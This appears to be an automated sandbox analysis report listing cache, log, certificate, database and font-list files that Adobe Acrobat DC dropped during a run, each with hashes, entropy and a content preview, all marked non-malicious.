MD5:	400862033C092F40D0495C4E2D6A9C4B
SHA1:	4A8CA5BCE1287D089DAEB44AEE6CC082983B4C49
SHA-256:	C3BBD38280FFE9A26AEE53DF098DB2C49154A9664D05A855F99322F5BF5D7B34
SHA-512:	0083B6511F237A3AC3A4BF1F63F5E837A337436BB43D552D2BE88A88570CF0A24C05815CC3E4088D5A0418CAC1A7A73C4930EA0DB1D853396F8509F7D29CEF4E
Malicious:	false
Reputation:	low
Preview:	2024/12/03-11:53:44.878 1fa8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/12/03-11:53:44.879 1fa8 Recovering log #3.2024/12/03-11:53:44.879 1fa8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\64fc90d3-fdf9-4397-bc3e-75a7c8435c5b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\971621f4-700d-4eeb-be43-2e89e4cda279.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq25sBdOg2H8caq3QYiubInP7E4TX:Y2sRdsFqdMH/3QYhbG7n7
MD5:	C2683BF36E21C9A354EF176D5EDCD5B0
SHA1:	A015230DA0832FD1A3E8F32B672C0CBAD5972016
SHA-256:	652E88EC3C333321A734449676992DD76DB4FF63449F182176557DE34D333393
SHA-512:	24418D032B5478263FEFEC99E69296C1E98BBA3B6F3581F13A29A90F6A3C9F8FF569DFEC7763DD32F0DD0BFC2100E97EA87524A3BAD23976ACA0E86002F867AB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377804834072168","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":662240},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF63f7fa.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4730
Entropy (8bit):	5.256406673643332
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo77APX8Z:etJCV4FiN/jTN/2r8Mta02fEhgO73goX
MD5:	D2E17C917FF5F67C891541FBE3B6DFCE
SHA1:	71C90DEA3FCE0AD00F372A1C679A18B08EFAC46F
SHA-256:	938C58E9A9B5A091B9F3AA68F9AD0A6B2B707D3099EBA54C8CA39CA3FA47A2DF
SHA-512:	BA2475F1BFA7558A8064F49D3EF78CE075B5DBF0666A4687BB8F5113C1EE21D4D098A6419750552CDA716FEAFF490883E219DAB9277C87A7994F4436BA0BBFD2
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.22850593659246
Encrypted:	false
SSDEEP:	6:PAGEt+q2Pwkn2nKuAl9OmbzNMxIFUt8iAcZmw+iAcVkwOwkn2nKuAl9OmbzNMFLJ:PAGFvYfHAa8jFUt8iAc/+iAc5JfHAa8E
MD5:	B43964F3C1D7DB6210B811142EE90C8E
SHA1:	B2913FE5AA16F80D12658BD10C3534C6A36E3DED
SHA-256:	C9F4EEE50E5F88C49A082687895131ABE9B8D93E14F349F1FDEF9D467834F8DB
SHA-512:	344F30E7C648283AFE11C45CF64AD73552F20AF76B61464ADD3F9D0C924D29661C1CD202E3B4AF1E5E97CF4617C518C9BF301D9C22F2C6961BFBD9E3B5F63C99
Malicious:	false
Preview:	2024/12/03-11:53:44.927 1fa8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/12/03-11:53:44.928 1fa8 Recovering log #3.2024/12/03-11:53:44.928 1fa8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.22850593659246
Encrypted:	false
SSDEEP:	6:PAGEt+q2Pwkn2nKuAl9OmbzNMxIFUt8iAcZmw+iAcVkwOwkn2nKuAl9OmbzNMFLJ:PAGFvYfHAa8jFUt8iAc/+iAc5JfHAa8E
MD5:	B43964F3C1D7DB6210B811142EE90C8E
SHA1:	B2913FE5AA16F80D12658BD10C3534C6A36E3DED
SHA-256:	C9F4EEE50E5F88C49A082687895131ABE9B8D93E14F349F1FDEF9D467834F8DB
SHA-512:	344F30E7C648283AFE11C45CF64AD73552F20AF76B61464ADD3F9D0C924D29661C1CD202E3B4AF1E5E97CF4617C518C9BF301D9C22F2C6961BFBD9E3B5F63C99
Malicious:	false
Preview:	2024/12/03-11:53:44.927 1fa8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/12/03-11:53:44.928 1fa8 Recovering log #3.2024/12/03-11:53:44.928 1fa8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241203165351Z-232.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 107 x -152 x 32, cbSize 65110, bits offset 54
Category:	dropped
Size (bytes):	65110
Entropy (8bit):	1.1274138973864147
Encrypted:	false
SSDEEP:	96:64kRT+lilN/eDePlCBl4c+EoTIbq7BsAIrsWQtp8wiwtwNdlTTOfaXU7AXpBkkw6:NhEOb04Qtti0Kdl/ObgpB84E6ghbP4AK
MD5:	BD0EC01E3A28B5A54F6B3683BAB94ADF
SHA1:	55969163FD1B10E6AA915B709822CA046889B2E6
SHA-256:	DF27D9F8ADED4B321491A20C593B9DBC926705B1643B5577CD5B1FB3A7C86EF4
SHA-512:	264A8B496FE7813AF793EA98DB27F59577FFE861576BA3A19877159C30889D5E5D1838B06551830A55E486A18B95AAB77391EEDD407E5498FFED16D7698F4602
Malicious:	false
Preview:	BMV.......6...(...k...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.445205895528634
Encrypted:	false
SSDEEP:	384:yezci5tgiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:r3s3OazzU89UTTgUL
MD5:	BDB9644414606FA148F9F149EAD3EC03
SHA1:	553ADB7B35FB5B7F608146F69BC05CBF0A97B560
SHA-256:	3F51C2B4DD62D5CE0C5D06BEBCA78A82B268A4C208B9782A3A19A7B425D818F3
SHA-512:	BE04F388366E11DA280E14F9299A584534157C39DBBE030533FF723462164E20472512EF6DA0A63AFA7C3642499F540A06674599C6F87994D495D60099194CBE
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7768004025189255
Encrypted:	false
SSDEEP:	48:7Map/E2ioyVvOioy9oWoy1Cwoy1qdKOioy1noy1AYoy1Wioy1hioybioyIvoy1nz:7dpjuvOF9PXKQrdcb9IVXEBodRBkI
MD5:	F2C1324685FE59D93EF95B0FBF028175
SHA1:	B550829D76FEA760A74D29E3EC5CBEFB13E088F8
SHA-256:	A899D7D3F4CE3ABE9C73AB49C90AAED18BDDEF494754A28A78FD476598E8D434
SHA-512:	FA873656D2599119E8AEA1AC9CEC97DEC4BE251667C600965D077782835DD0B7F572E74E24C01F839681757077141EA6FD6F226143F84EAED309C0821AD99CCD
Malicious:	false
Preview:	.... .c......`.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7673182398396405
Encrypted:	false
SSDEEP:	3:kkFkl6L3L1fllXlE/HT8kxlrXNNX8RolJuRdxLlGB9lQRYwpDdt:kKj2T84lpNMa8RdWBwRd
MD5:	173A14578C1133E15112E4DD6659C764
SHA1:	CC4BD1438E8B85ED9517DCD265F2526761340E3F
SHA-256:	11B1239A11CAFE02F10417A460A66CF0EF5B1C63F0B133B8DD76F630312F3F67
SHA-512:	F9A44A534533FA93A2663C051A13A8C0765D7D25D36A16165767B49ECAE3D5721A8B060504F26D3DC7D5213CC672C62295EA58AD2A89990581DB353B7A014290
Malicious:	false
Preview:	p...... .........+..E..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.144086598890895
Encrypted:	false
SSDEEP:	6:kKUD9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:tDnLNkPlE99SNxAhUe/3
MD5:	F3770C9CE563A1E9FF126D13264F5054
SHA1:	E8195D0C4CA681AB9DB440E87BC9AA984AC83BEC
SHA-256:	EEE422F81535744717B583DE704B89ED4891C18EADD8B6ED371F2CEF5F6F4728
SHA-512:	F60EE708FBE2C607F1732D014487084F97145282C6F1E93454C900902D1DB92DF4F764AA4614EA2A3D477DBAD04F6D29697E427B1BCA1D8DD464F4F0AE52FF82
Malicious:	false
Preview:	p...... ........8....E..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7716

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

